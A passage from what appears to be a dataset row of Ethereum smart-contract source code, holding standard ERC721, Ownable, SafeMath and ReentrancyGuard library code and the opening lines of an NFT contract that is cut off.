1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,535 | 0x954f048e95994f87750fe82addf4ae2f3f3dec9f | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract NFT is ERC721, Ownable, ReentrancyGuard {
using Counters for Counters.Counter;
using SafeMath for uint256;
Counters.Counter private _tokenIds;
uint256 private _mintCost;
